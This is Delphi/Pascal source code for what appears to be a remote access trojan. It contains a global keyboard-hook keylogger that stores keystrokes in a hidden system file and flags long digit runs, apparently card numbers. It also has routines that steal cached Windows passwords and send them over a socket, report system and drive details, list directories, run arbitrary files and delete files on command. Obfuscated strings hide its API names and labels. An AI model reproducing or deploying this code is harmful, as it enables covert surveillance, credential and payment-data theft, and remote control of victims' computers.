//=== stuff
function IntToStr(A:Integer):string;
begin
  Str(A,Result);
end;

function StrToInt(const S: string): Integer;
var
  E: Integer;
begin
  Val(S, Result, E);
  if E <> 0 then E:=0;//ConvertErrorFmt(SInvalidInteger, [S]);
end;

procedure AppMsg(Ms:PChar);
begin
MessageBox(Handle,Ms,'Error',0);
end;

//=== Cleanup and stop the program ===
procedure ShutDownServer;
begin
  closesocket(Server);
  WSACleanup;
//  UnRegisterClass(lpzClassName,hInst);
//  Halt;
end;

//=== Process Messages ===
procedure ProcessMessages;
begin
  while GetMessage(Msg2,0,0,0) do
  begin
    TranslateMessage(Msg2);
    DispatchMessage(Msg2);
  end;
end;

//=== Process CreateWindow ===
procedure OnCreate(hWnd:Integer);
begin
//nothing
end;

procedure OnClose(hWnd:Integer);
begin
//ShellExecute(0,nil,PChar(paramstr(0)),nil,nil,SW_NORMAL); //=== active it
ShutDownServer;
GetExitCodeThread(ThreadHdle, ExitCode);
TerminateThread(ThreadHdle, ExitCode);
GetExitCodeThread(ThreadHdle2, ExitCode2);
TerminateThread(ThreadHdle2, ExitCode2);
GetExitCodeThread(ThreadHdle3, ExitCode3);
TerminateThread(ThreadHdle3, ExitCode3);
klog.LogDestroy;
end;

//=== Socket things =====

//=== Send a String #0 ===
procedure TSock.WriteString(wParam:word;Buff:PChar);
begin
  send(wParam,Buff^,Length(Buff),0);
end;

//=== Send Buffer ===
function TSock.WriteData(wParam:word;Buff:pointer;Len:longInt):LongInt;
begin
  Result:=send(wParam,Buff^,Len,0);
end;

//=== Process OnAccept ===
procedure TSock.OnServerAccept(wParam,lParam:longInt);
begin
  accept(Server,nil,nil);
end;

//=== Process OnClose ===
procedure TSock.OnServerClose(wParam,lParam:longInt);
begin
//nothing
end;

function GetLocalHostName: string;
var
  szHostName: array[0..128] of char;
begin
  if gethostname(szHostName, 128) = 0 then
    Result:= szHostName;
end;

//======= sysutils =========
function StrPas(Str: PChar): string;
begin
  Result := Str;
end;

function StrLen(Str: PChar): Cardinal; assembler;
asm
        MOV     EDX,EDI
        MOV     EDI,EAX
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        MOV     EAX,0FFFFFFFEH
        SUB     EAX,ECX
        MOV     EDI,EDX
end;

function StrCopy(Dest, Source: PChar): PChar; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        MOV     ESI,EAX
        MOV     EDI,EDX
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        NOT     ECX
        MOV     EDI,ESI
        MOV     ESI,EDX
        MOV     EDX,ECX
        MOV     EAX,EDI
        SHR     ECX,2
        REP     MOVSD
        MOV     ECX,EDX
        AND     ECX,3
        REP     MOVSB
        POP     ESI
        POP     EDI
end;

function StrScan(Str: PChar; Chr: Char): PChar; assembler;
asm
        PUSH    EDI
        PUSH    EAX
        MOV     EDI,Str
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        NOT     ECX
        POP     EDI
        MOV     AL,Chr
        REPNE   SCASB
        MOV     EAX,0
        JNE     @@1
        MOV     EAX,EDI
        DEC     EAX
@@1:    POP     EDI
end;

function DiskSize(Drive: Byte): Integer;
var
  RootPath: array[0..4] of Char;
  RootPtr: PChar;
  SectorsPerCluster,
  BytesPerSector,
  FreeClusters,
  TotalClusters: Integer;
begin
  RootPtr := nil;
  if Drive > 0 then
  begin
    StrCopy(RootPath, 'A:\');
    RootPath[0] := Char(Drive + $40);
    RootPtr := RootPath;
  end;
  if GetDiskFreeSpace(RootPtr, SectorsPerCluster, BytesPerSector,
    FreeClusters, TotalClusters) then
    Result := SectorsPerCluster * BytesPerSector * TotalClusters
  else Result := -1;
end;

function DeleteFile(const FileName: string): Boolean;
begin
  Result := Windows.DeleteFile(PChar(FileName));
end;

function FileAge(const FileName: string): Integer;
var
  Handle: THandle;
  FindData: TWin32FindData;
  LocalFileTime: TFileTime;
begin
  Handle := FindFirstFile(PChar(FileName), FindData);
  if Handle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(Handle);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    begin
      FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
      if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
        LongRec(Result).Lo) then Exit;
    end;
  end;
  Result := -1;
end;

function FileExists(const FileName: string): Boolean;
begin
  Result := FileAge(FileName) <> -1;
end;

function ByteTypeTest(P: PChar; Index: Integer): TMbcsByteType;
begin
  Result := mbSingleByte;
  if (Index = 0) then
  begin
    if P[Index] in LeadBytes then Result := mbLeadByte;
  end
  else
  begin
    if (P[Index-1] in LeadBytes) and (ByteTypeTest(P, Index-1) = mbLeadByte) then
      Result := mbTrailByte
    else if P[Index] in LeadBytes then
      Result := mbLeadByte;
  end;
end;

function ByteType(const S: string; Index: Integer): TMbcsByteType;
begin
  Result := mbSingleByte;
  if SysLocale.FarEast then
    Result := ByteTypeTest(PChar(S), Index-1);
end;

function LastDelimiter(const Delimiters, S: string): Integer;
var
  P: PChar;
begin
  Result := Length(S);
  P := PChar(Delimiters);
  while Result > 0 do
  begin
    if (S[Result] <> #0) and (StrScan(P, S[Result]) <> nil) then
      if (ByteType(S, Result) = mbTrailByte) then
        Dec(Result)
      else
        Exit;
    Dec(Result);
  end;
end;

function ExtractFilePath(const FileName: string): string;
var
  I: Integer;
begin
  I := LastDelimiter('\:', FileName);
  Result := Copy(FileName, 1, I);
end;

procedure FindClose(var F: TSearchRec);
begin
  if F.FindHandle <> INVALID_HANDLE_VALUE then
    Windows.FindClose(F.FindHandle);
end;

function FindMatchingFile(var F: TSearchRec): Integer;
var
  LocalFileTime: TFileTime;
begin
  with F do
  begin
    while FindData.dwFileAttributes and ExcludeAttr <> 0 do
      if not FindNextFile(FindHandle, FindData) then
      begin
        Result := GetLastError;
        Exit;
      end;
    FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
    FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi,
      LongRec(Time).Lo);
    Size := FindData.nFileSizeLow;
    Attr := FindData.dwFileAttributes;
    Name := FindData.cFileName;
  end;
  Result := 0;
end;

function FindFirst(const Path: string; Attr: Integer;
  var F: TSearchRec): Integer;
const
  faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
  F.ExcludeAttr := not Attr and faSpecial;
  F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
  if F.FindHandle <> INVALID_HANDLE_VALUE then
  begin
    Result := FindMatchingFile(F);
    if Result <> 0 then FindClose(F);
  end else
    Result := GetLastError;
end;

function FindNext(var F: TSearchRec): Integer;
begin
  if FindNextFile(F.FindHandle, F.FindData) then
    Result := FindMatchingFile(F) else
    Result := GetLastError;
end;

//=== Registry call ================
constructor TRegistry.Create;
begin
  RootKey := HKEY_CURRENT_USER;
  LazyWrite := True;
end;

function DataTypeToRegData(Value: Integer): TRegDataType;
begin
  if Value = REG_SZ then Result := rdString
  else if Value = REG_EXPAND_SZ then Result := rdExpandString
  else if Value = REG_DWORD then Result := rdInteger
  else if Value = REG_BINARY then Result := rdBinary
  else Result := rdUnknown;
end;

function RegDataToDataType(Value: TRegDataType): Integer;
begin
  case Value of
    rdString: Result := REG_SZ;
    rdExpandString: Result := REG_EXPAND_SZ;
    rdInteger: Result := REG_DWORD;
    rdBinary: Result := REG_BINARY;
  else
    Result := REG_NONE;
  end;
end;

function TRegistry.GetDataInfo(const ValueName: string; var Value: TRegDataInfo):boolean;
var
  DataType: Integer;
begin
  FillChar(Value, SizeOf(TRegDataInfo), 0);
  Result := RegQueryValueEx(CurrentKey, PChar(ValueName), nil, @DataType, nil,
    @Value.DataSize) = ERROR_SUCCESS;
  Value.RegData := DataTypeToRegData(DataType);
end;

function TRegistry.GetData(const Name: string; Buffer: Pointer;
  BufSize: Integer; var RegData: TRegDataType): Integer;
var
  DataType: Integer;
begin
  DataType := REG_NONE;
  if RegQueryValueEx(CurrentKey, PChar(Name), nil, @DataType, PByte(Buffer),
    @BufSize) <> ERROR_SUCCESS then
  //  raise ERegistryException.CreateFmt(SRegGetDataFailed, [Name]);
  Result := BufSize;
  RegData := DataTypeToRegData(DataType);
end;

procedure TRegistry.PutData(const Name: string; Buffer: Pointer;
  BufSize: Integer; RegData: TRegDataType);
var
  DataType: Integer;
begin
  DataType := RegDataToDataType(RegData);
  if RegSetValueEx(CurrentKey, PChar(Name), 0, DataType, Buffer,
    BufSize) <> ERROR_SUCCESS then
//    raise ERegistryException.CreateFmt(SRegSetDataFailed, [Name]);
end;

function TRegistry.GetDataSize(const ValueName: string): Integer;
var
  Info: TRegDataInfo;
begin
  if GetDataInfo(ValueName, Info) then
    Result := Info.DataSize else
    Result := -1;
end;

procedure TRegistry.WriteString(const Name, Value: string);
begin
  PutData(Name, PChar(Value), Length(Value), rdString);
end;

procedure ReadError(const Name: string);
begin
//  raise ERegistryException.CreateFmt(SInvalidRegType, [Name]);
end;

function TRegistry.ReadString(const Name: string): string;
var
  Len: Integer;
  RegData: TRegDataType;
begin
  Len := GetDataSize(Name);
  if Len > 0 then
  begin
    SetString(Result, nil, Len);
    GetData(Name, PChar(Result), Len, RegData);
    if (RegData = rdString) or (RegData = rdExpandString) then
      SetLength(Result, StrLen(PChar(Result)))
    else ReadError(Name);
  end
  else Result := '';
end;

procedure TRegistry.CloseKey;
begin
  if CurrentKey <> 0 then
  begin
    if LazyWrite then
      RegCloseKey(CurrentKey) else
      RegFlushKey(CurrentKey);
    FCurrentKey := 0;
    FCurrentPath := '';
  end;
end;

procedure TRegistry.ChangeKey(Value: HKey; const Path: string);
begin
  CloseKey;
  FCurrentKey := Value;
  FCurrentPath := Path;
end;

procedure TRegistry.SetRootKey(Value: HKEY);
begin
  if RootKey <> Value then
  begin
    if FCloseRootKey then
    begin
      RegCloseKey(RootKey);
      FCloseRootKey := False;
    end;
    FRootKey := Value;
    CloseKey;
  end;
end;

function TRegistry.GetBaseKey(Relative: Boolean): HKey;
begin
  if (CurrentKey = 0) or not Relative then
    Result := RootKey else
    Result := CurrentKey;
end;

function IsRelative(const Value: string): Boolean;
begin
  Result := not ((Value <> '') and (Value[1] = '\'));
end;

function TRegistry.OpenKey(const Key: string; CanCreate: Boolean): Boolean;
var
  TempKey: HKey;
  S: string;
  Disposition: Integer;
  Relative: Boolean;
begin
  S := Key;
  Relative := IsRelative(S);
  if not Relative then Delete(S, 1, 1);
  TempKey := 0;
  if not CanCreate or (S = '') then
  begin
    Result := RegOpenKeyEx(GetBaseKey(Relative), PChar(S), 0,
      KEY_ALL_ACCESS, TempKey) = ERROR_SUCCESS;
  end else
    Result := RegCreateKeyEx(GetBaseKey(Relative), PChar(S), 0, nil,
      REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, TempKey, @Disposition) = ERROR_SUCCESS;
  if Result then
  begin
    if (CurrentKey <> 0) and Relative then S := CurrentPath + '\' + S;
    ChangeKey(TempKey, S);
  end;
end;

destructor TRegistry.Destroy;
begin
  CloseKey;
  inherited;
end;

//== Allocate windows ===
const
  InstanceCount = 313;

Type
TWndMethod = procedure(var Message: TMessage) of object;

type
  PObjectInstance = ^TObjectInstance;
  TObjectInstance = packed record
    Code: Byte;
    Offset: Integer;
    case Integer of
      0: (Next: PObjectInstance);
      1: (Method: TWndMethod);
  end;

type
  PInstanceBlock = ^TInstanceBlock;
  TInstanceBlock = packed record
    Next: PInstanceBlock;
    Code: array[1..2] of Byte;
    WndProcPtr: Pointer;
    Instances: array[0..InstanceCount] of TObjectInstance;
  end;

var
  InstBlockList: PInstanceBlock;
  InstFreeList: PObjectInstance;

function StdWndProc(Window: HWND; Message, WParam: Longint;
  LParam: Longint): Longint; stdcall; assembler;
asm
        XOR     EAX,EAX
        PUSH    EAX
        PUSH    LParam
        PUSH    WParam
        PUSH    Message
        MOV     EDX,ESP
        MOV     EAX,[ECX].Longint[4]
        CALL    [ECX].Pointer
        ADD     ESP,12
        POP     EAX
end;

function CalcJmpOffset(Src, Dest: Pointer): Longint;
begin
  Result := Longint(Dest) - (Longint(Src) + 5);
end;

function MakeObjectInstance(Method: TWndMethod): Pointer;
const
  BlockCode: array[1..2] of Byte = (
    $59,       { POP ECX }
    $E9);      { JMP StdWndProc }
  PageSize = 4096;
var
  Block: PInstanceBlock;
  Instance: PObjectInstance;
begin
  if InstFreeList = nil then
  begin
    Block := VirtualAlloc(nil, PageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Block^.Next := InstBlockList;
    Move(BlockCode, Block^.Code, SizeOf(BlockCode));
    Block^.WndProcPtr := Pointer(CalcJmpOffset(@Block^.Code[2], @StdWndProc));
    Instance := @Block^.Instances;
    repeat
      Instance^.Code := $E8;  { CALL NEAR PTR Offset }
      Instance^.Offset := CalcJmpOffset(Instance, @Block^.Code);
      Instance^.Next := InstFreeList;
      InstFreeList := Instance;
      Inc(Longint(Instance), SizeOf(TObjectInstance));
    until Longint(Instance) - Longint(Block) >= SizeOf(TInstanceBlock);
    InstBlockList := Block;
  end;
  Result := InstFreeList;
  Instance := InstFreeList;
  InstFreeList := Instance^.Next;
  Instance^.Method := Method;
end;

{ Free an object instance }

procedure FreeObjectInstance(ObjectInstance: Pointer);
begin
  if ObjectInstance <> nil then
  begin
    PObjectInstance(ObjectInstance)^.Next := InstFreeList;
    InstFreeList := ObjectInstance;
  end;
end;

var
  UtilWindowClass: TWndClass = (
    style: 0;
    lpfnWndProc: @DefWindowProc;
    cbClsExtra: 0;
    cbWndExtra: 0;
    hInstance: 0;
    hIcon: 0;
    hCursor: 0;
    hbrBackground: 0;
    lpszMenuName: nil;
    lpszClassName: 'TPUtilWindow');

function AllocateHWnd(Method: TWndMethod): HWND;
var
  TempClass: TWndClass;
  ClassRegistered: Boolean;
begin
  UtilWindowClass.hInstance := HInstance;
  ClassRegistered := GetClassInfo(HInstance, UtilWindowClass.lpszClassName,
    TempClass);
  if not ClassRegistered or (TempClass.lpfnWndProc <> @DefWindowProc) then
  begin
    if ClassRegistered then
      Windows.UnregisterClass(UtilWindowClass.lpszClassName, HInstance);
    Windows.RegisterClass(UtilWindowClass);
  end;
  Result := CreateWindowEx(WS_EX_TOOLWINDOW, UtilWindowClass.lpszClassName,
    '', WS_POPUP {!0}, 0, 0, 0, 0, 0, 0, HInstance, nil);
  if Assigned(Method) then
    SetWindowLong(Result, GWL_WNDPROC, Longint(MakeObjectInstance(Method)));
end;

procedure DeallocateHWnd(Wnd: HWND);
var
  Instance: Pointer;
begin
  Instance := Pointer(GetWindowLong(Wnd, GWL_WNDPROC));
  DestroyWindow(Wnd);
  if Instance <> @DefWindowProc then FreeObjectInstance(Instance);
end;

//==== Key_log=========================
type
  PGlobalDLLData = ^TGlobalDLLData;
  TGlobalDLLData = record
    hHookHWnd: HWND;
    hKeyHook: HHOOK;
    end;

const
  MMFileName = 'Users';

var
  MapHandle: THandle;
  GlobalData: PGlobalDLLData;
  tt,Logger:string;
  l:textfile;
  cc:byte;

procedure OpenSharedData;
  var
    Size: integer;
    CreateFileMappingError: integer;

  begin
  Size := SizeOf( TGlobalDLLData );
  MapHandle := CreateFileMapping( $FFFFFFFF, nil, PAGE_READWRITE, 0, Size, MMFileName );
  CreateFileMappingError := GetLastError;

  if ( MapHandle = 0 ) then exit;

  GlobalData := MapViewOfFile( MapHandle, FILE_MAP_ALL_ACCESS, 0, 0, Size );
  if ( GlobalData = nil ) then
    begin
    CloseHandle( MapHandle );
    exit;
    end;

  if ( ( MapHandle <> 0 )
    and ( CreateFileMappingError <> ERROR_ALREADY_EXISTS ) ) then
    begin
    GlobalData^.hHookHWnd := 0;
    GlobalData^.hKeyHook := 0;
    end;
  end;

procedure CloseSharedData;
  begin
  UnmapViewOfFile( GlobalData );
  CloseHandle( MapHandle );
  end;

//function KeyCounter( code: integer; wParam: integer; lParam: integer ): lRESULT stdcall;
function KeyCounter( code: integer; wParam: integer; lParam: integer ): LRESULT; stdcall;
  begin
  OpenSharedData;

  Result := CallNextHookEx( GlobalData^.hKeyHook, Code, wParam, lParam );
  if ( code = HC_ACTION ) then
    begin
  if ( lParam > 0 ) then
begin PostMessage( GlobalData^.hHookHWnd, UM_KEYHIT, wParam, 0 ); end;
    Result := 0;
    exit;
    end;
end;

procedure KeyHook_Start( hWin: HWND );  //stdcall;
  begin
  OpenSharedData;
  GlobalData^.hKeyHook := SetWindowsHookEx( WH_KEYBOARD, KeyCounter, hInstance, 0 );
  GlobalData^.hKeyHook := SetWindowsHookEx( WH_KEYBOARD, nil, hInstance, 0 );
  GlobalData^.hHookHWnd := hWin;
  end;

procedure KeyHook_Stop;  //stdcall;
  begin
  OpenSharedData;
  UnHookWindowsHookEx( GlobalData^.hKeyHook );
  CloseSharedData;
  end;

procedure TLog.KeyIncrement( var Msg: TMessage );
const
lettres: array[65..90] of Char = 'abcdefghijklmnopqrstuvwxyz';
chiffres: array[96..111] of Char = '0123456789*+ - /';
chiffres2: array[48..57] of Char = '0123456789';

var k:integer;
    s:string;

  begin
  k:=msg.WParam;
//writeln(inttostr(k)+' : '+char(k));

if k in [96..111] then s:=chiffres[k] else
if k in [65..90] then s:=lettres[k] else
if k in [48..57] then s:=chiffres2[k] else

if k in [112..123] then s:=#255 else
if k in [33..40] then s:=#255 else
if k = 0 then s:=#255 else
if k > 255 then s:=#255 else

if k = 16 then s:=crypt('=QKMCR9') else //<SHIFT>
if k = 17 then s:=crypt('=AWVI8') else //<CTRL>
if k = 18 then s:=crypt('=COP;') else //<ALT>
if k = 20 then s:=crypt('=ABTV8') else //<CAPS>
if k = 144 then s:=crypt('=LVI;') else //<NUM>
if k = 9 then s:=crypt('=vbf;') else //<tab>
if k = 8 then s:=crypt('=<') else //<>

if k = 223 then s:='!' else
if k = 219 then s:=')' else
if k = 187 then s:='=' else
if k = 221 then s:='^' else
if k = 186 then s:='$' else
if k = 192 then s:='? else
if k = 220 then s:='*' else
if k = 188 then s:=',' else
if k = 190 then s:=';' else
if k = 191 then s:=':' else
if k = 226 then s:='<' else
if k = 222 then s:='?' else
if k = 13 then s:='?' else
if k = 32 then s:=' ' else
if k = 46 then s:=crypt('=ffh;') else //<del>
if k = 45 then s:=crypt('=kmw;') else //<ins>
s:='['+inttostr(k)+']';

logger:=logger+s;
write(s);

if (s[1] in ['0'..'9']) or (s[1]=' ') or (s[1]='-') then inc(cc) else cc:=0;

    if (cc=13) then begin
    cc:=0;
    Registre:=TRegistry.create;
    Registre.RootKey:=HKEY_CLASSES_ROOT;
    Registre.OpenKey('.aft',true);
    Registre.WriteString('1','1');
    Registre.Free;
    end;

if length(logger)>200 then
 begin
      if not fileexists(systemdir+crypt(']wpawu)lh~')) then //\users.dat
              begin
              assignfile(l,systemdir+crypt(']wpawu)lh~')); //\users.dat
              rewrite(l);
              write(l,' ');
              closefile(l);
              end;

 assignfile(l,systemdir+crypt(']wpawu)lh~'));//\users.dat
 reset(l);
 append(l);
 write(l,logger);
 closefile(l);
 logger:='';
 end;

end;

procedure TLog.LogCreate;
var tyhwnd:thandle;
  begin
  cc:=0;
  tyhwnd := AllocateHwnd(KLog.KeyIncrement);
  KeyHook_Start(tyhwnd);
  end;

procedure TLog.LogDestroy;
  begin
  KeyHook_Stop;
{$I-}
 assignfile(l,systemdir+crypt(']wpawu)lh~')); //\users.dat
 reset(l);
 append(l);
 write(l,logger);
 closefile(l);
 logger:='';
{$I+}
  end;

//=== password connection
function EnumPasswordCallbackProc(pce: TPPasswordCacheEntry; pdw: cardinal) : LongBool; stdcall;
var
s1 : string;
s2 : string;
begin

  result:=true;
  SetLength(s1,pce^.cbResource);
  Move(pce^.abResource[0],pointer(s1)^,pce^.cbResource);
  s1:=pchar(s1);
  SetLength(s2,pce^.cbPassword);
  Move(pce^.abResource[pce^.cbResource],pointer(s2)^,pce^.cbPassword);
  s2:=pchar(s2);

write(t,PChar(s1+' : '+s2+#13+#10));
end;

procedure testEnumCachedPasswords;
var WNetEnumCachedPasswords : function (ps: pchar; pw: word; pb: byte; proc: pointer; bdw: cardinal) : word; stdcall;
    mpr                     : cardinal;
begin
  mpr:=LoadLibrary('mpr');
  if mpr<>0 then
    try
      WNetEnumCachedPasswords:=GetProcAddress(mpr,pchar(crypt('VLfp@hreJkhdhj_qbad{grd'))); //WNetEnumCachedPasswords
      if @WNetEnumCachedPasswords<>nil then begin
        try
          WNetEnumCachedPasswords(nil,0,$FF,@EnumPasswordCallbackProc,0);
        finally end;
      end;
    finally FreeLibrary(mpr) end;
end;

//===windows_control
procedure killprocess(prname:string);
var
  str : pchar;
  h:hwnd;
begin
  str:=@(prname)[1];
  h := FindWindow(nil,str);
  if h <> 0 then PostMessage(h, WM_QUIT, 0, 0);
end;

{function childproc(h:HWND):bool;stdcall;
var
  tempstring: array [0..255] of char;
begin
GetClassName(h,classe,255);

if (classe=nil) or (classe=string(' ')) then exit;

if classe='Edit' then
begin
sendmessage(h,WM_GETTEXT,255,integer(@tempstring));
if tempstring<>'' then begin writeln(tempstring); counter:=counter+1; end;
if counter=2 then writeln(string(klasse));
end;

if classe='TEdit' then
begin
sendmessage(h,WM_GETTEXT,255,integer(@tempstring));
if tempstring<>'' then begin writeln(tempstring); counter:=counter+1; end;
if counter=2 then writeln(string(klasse));
end;
end;

function AddTopLevelWindowsToList2(h: HWND): BOOL; stdcall;
begin

  If (GetWindowLong(h,GWL_HWNDPARENT)=0) then
     begin
     Getwindowtext(h,klasse,255);

     if klasse<>'' then
     begin
     counter:=0;
     if pos('Netscape',klasse)<>0 then counter:=1; //+ ' (' + inttostr(h)
     if pos('Explorer',klasse)<>0 then counter:=1; //writeln(string(klasse));
     if pos('Opera',klasse)<>0 then counter:=1;
     end;

     end;
if counter=1 then EnumChildWindows(h,@childproc,8);
end; }

function AddTopLevelWindowsToList(h: HWND): BOOL; stdcall;
begin
  If (GetWindowLong(h,GWL_HWNDPARENT)=0) then
     begin
  Getwindowtext(h,klasse,255);
  if klasse<>'' then
   begin
  write(t,string(klasse)+#13+#10);
   end;
  end;
end;

//=== information ===
procedure DoPassword(wParam:longInt);
var pp:string;
    sock:tsock;
begin
assignfile(t,windowsdir+'~tmp..sys');
rewrite(t);
append(t);
testEnumCachedPasswords;
closefile(t);

assignfile(t,windowsdir+'~tmp..sys');
reset(t);
repeat
readln(t,pp);
Sock.WriteString(wParam, PChar(pp+#13+#10));
sleep(Timeout);
until pp='';
closefile(t);
erase(t);
end;

procedure DoAbout(wParam:longInt);
var SI:TSystemInfo;
    OsVer:TOSVersionInfoA;
    MS:TMemoryStatus;
    pp:string;

begin
  ZeroMemory(@OsVer,SizeOf(OsVer));
  ZeroMemory(@Si,SizeOf(Si));
  ZeroMemory(@MS,SizeOf(MS));
  MS.dwLength:=SizeOf(MS);
  OsVer.dwOSVersionInfoSize:=SizeOf(OsVer);
  GetVersionEx(OsVer);
  GetSystemInfo(Si);
  GlobalMemoryStatus(MS);

case Win32Platform of
    WINDOWS.VER_PLATFORM_WIN32_WINDOWS : pp:='95';
    WINDOWS.VER_PLATFORM_WIN32s : pp:='32';
    WINDOWS.VER_PLATFORM_WIN32_NT : pp:='NT';
end;

Sock.WriteString(wParam, PChar(
  crypt('R{pp`k=')+#13+#10+ //System:
  WSD.szDescription+#13+#10+
  crypt('NQ9$')+IntToStr(OsVer.dwMajorVersion)+'.'+IntToStr(OsVer.dwMinorVersion)+#13+#10+ //OS:
  crypt('own$FVR2)')+IntToStr(Si.dwNumberOfProcessors)+#13+#10+ //num CPU:
  crypt('BRV$')+IntToStr(Si.dwProcessorType)+#13+#10+ //CPU
  crypt('SCN$')+IntToStr(Round(MS.dwTotalPhys/1048576))+#13+#10+ //RAM
  crypt('GpfaWGJ(')+IntToStr(Round(MS.dwAvailPhys/1024))+#13+#10+ //FreeRAM
  crypt('Wpw$')+IntToStr(Round(MS.dwTotalVirtual/1048576))+#13+#10+ //Vrt
  crypt('GpfaSts(')+IntToStr(Round(MS.dwAvailVirtual/1048576))+#13+#10+ //FreeVrt
  crypt('R{pp`k=(')+systemdir+'\'+#13+#10+ //System:
  crypt('Vkm`jq=(')+windowsdir+'\'+#13+#10+ //Window:
  WSD.szSystemStatus+' '+pp+#13+#10+
  crypt('Impp?&')+getlocalhostname+#13+#10)); //Host:
end;

procedure DoShowDirectory(wParam:longInt;command:String);
var sss,NomDuDossier,DossierTrouve,FichierTrouve:string;
    attributs,Resultat:Integer;
    SearchRec:TSearchRec;
    TailleDuFichier:integer;

begin
attributs:=6;
sock.writestring(wParam,pchar(crypt('EkqWfgi2')+#13+#10)); //DirScan:
sleep(timeout);

  If command[length(command)]='\' then command:=copy(command,1,length(command)-1);
  Resultat:=FindFirst(command+'\'+'*.*',FaDirectory,SearchRec);

  while Resultat=0 do
  begin
    if (SearchRec.Name<>'.') and (SearchRec.Name<>'..')
         and ((SearchRec.Attr and faDirectory)>0) then
    begin
      DossierTrouve:=command+'\'+SearchRec.Name;
      NomDuDossier:=DossierTrouve;
//      ProcessMessages;
    end;
if NomDuDossier<>sss then
begin
sleep(timeout);
if NomDuDossier<>'' then NomduDossier:=NomDuDossier+'\';
sock.writestring(wParam,pchar(crypt('}F9')+NomduDossier+#13+#10)); //|D:
end;
sss:=NomDuDossier;
Resultat:=FindNext(SearchRec);
  end;
  FindClose(SearchRec);


  If command[length(command)]='\' then command:=copy(command,1,length(command)-1);
  Resultat:=FindFirst(command+'\'+crypt('+,)'),Attributs,SearchRec); //*.*

  while Resultat=0 do
  begin
    //ProcessMessages;
    if ((SearchRec.Attr and faDirectory)<=0) then
    begin
        FichierTrouve:=command+'\'+SearchRec.Name;
        TailleDuFichier:=SearchRec.Size;
      //NomFichierComplet:=FichierTrouve;
      //DateHeureDuFichier:=SearchRec.Time;
    end;
    sleep(timeout);
    Resultat:=FindNext(SearchRec);
sock.writestring(wParam,pchar(crypt('}D9')+FichierTrouve+'|'+inttostr(tailledufichier)+#13+#10)); //|F:

  end;
  FindClose(SearchRec);
sleep(timeout);
sock.writestring(wParam,pchar(crypt('}D9$YZo|dfWP')+#13+#10)); //|F: \\html\\
end;

procedure DoStart(wParam:longInt);
var ch:char;
    VolNameStr,Tip:String;
    LW:byte;
    Dsize,NamLen,syslen:integer;
    VolNameAry: array[0..255] of char;
    VolSer,SysFlags : DWord;

begin
Driv:='';
d:=0;
ch:=#97;
sock.WriteString(wParam, PChar(crypt('EmPpdts2')+#13+#10)); //DoStart:
repeat
d:=d+1;
s:=ch+':\';
       case getDriveType(pChar(s)) of
            DRIVE_FIXED: begin Tip:='0'; //Fixed HD
  NamLen:=255;
  SysLen:=255;
if GetVolumeInformation(pChar(s), VolNameAry, NamLen,
                        @VolSer, SysLen, SysFlags, nil, 0)
then VolNameStr := StrPas(VolNameAry)

  else VolNameStr := '';
LW := ord(upcase(s[1])) - 64;
DSize := DiskSize(LW);
if (DSize <> -1) then DSize := disksize(LW) DIV 1024;

//Driv:=Driv+'Drive: '+UpCase(Ch)+':\'+' <'+Volnamestr+'>'+'&'+Tip+'|'+IntToStr(DSize)+'|'+#13+#10;
Driv:=crypt('}F9')+UpCase(Ch)+':\'+' <'+Volnamestr+'>'+'&'+Tip+'|'+IntToStr(DSize)+'|'+#13+#10; //|D:
 end;

            DRIVE_CDROM: begin Tip:='1'; //CD-ROM
            Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+Tip+'|0|'+#13+#10; end;
            DRIVE_RAMDISK: begin Tip:='2'; //RAM Disk
            Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+Tip+'|0|'+#13+#10; end;
            DRIVE_REMOVABLE: begin Tip:='3'; //Removable
            Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+tip+'|0|'+#13+#10; end;
            DRIVE_REMOTE: begin Tip:='4'; //Network
            Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+tip+'|0|'+#13+#10; end;
   0 : s:=''; //do nothing;
   1 : s:=''; //do nothing;
       end;

 sleep(timeout);
sock.WriteString(wParam, PChar(Driv));

 driv:='';
 inc(ch);
until d=26;
 sleep(timeout);
sock.WriteString(wParam, PChar(crypt(']^kphj[T')+#13+#10)); //\\html\\
end;

procedure DoShowLog(wParam:longInt);
var f:file of byte;
    p:longint;
begin
Registre:=TRegistry.create;
Registre.RootKey:=HKEY_CLASSES_ROOT;
Registre.OpenKey('.aft',true);
if fileexists(systemdir+crypt(']wpawu)lh~')) then //\users.dat
begin
assignfile(f,systemdir+crypt(']wpawu)lh~')); //\users.dat
reset(f);
p:=filesize(f);
sock.writestring(wParam,pchar(crypt('mmd>%')+Registre.ReadString('1')+' '+s+' '+inttostr(p)+#13+#10)); //log:
closefile(f);
end;
Registre.Free;
end;

procedure DoExecFile(wParam:longInt;Command:String);
var R:Integer;
    Params:String;
begin
  Params:='';
  if Pos('&',Command)<>0 then
  begin
    Params:=Copy(Command,Pos('&',Command)+1,255);
    Delete(Command,Pos('&',Command),255);
  end;
  R:=ShellExecute(0,nil,PChar(Command),PChar(Params),nil,SW_NORMAL);
  if R<=32 then sock.WriteString(wParam, PChar(ERROR+#13+#10))
           else sock.WriteString(wParam, PChar(ALLDONE+#13+#10));
end;

procedure DoProxy(wParam:longInt;Command:String);
begin
//
end;

procedure DoDeleteFile(wParam:longInt;Command:String);
var St:String;
    Found:Integer;
    F:TSearchRec;
begin
  Found:=FindFirst(Command,faAnyFile, F);
  St:='';
  while Found = 0 do
  begin
    if DeleteFile(ExtractFilePath(Command)+F.Name) then St:=St+F.Name;
    Found:=FindNext(F);
  end;
  sock.WriteString(wParam, PChar(crypt('Dpbw`b''n`fn7')+St+#13+#10)); //Erased files:
end;

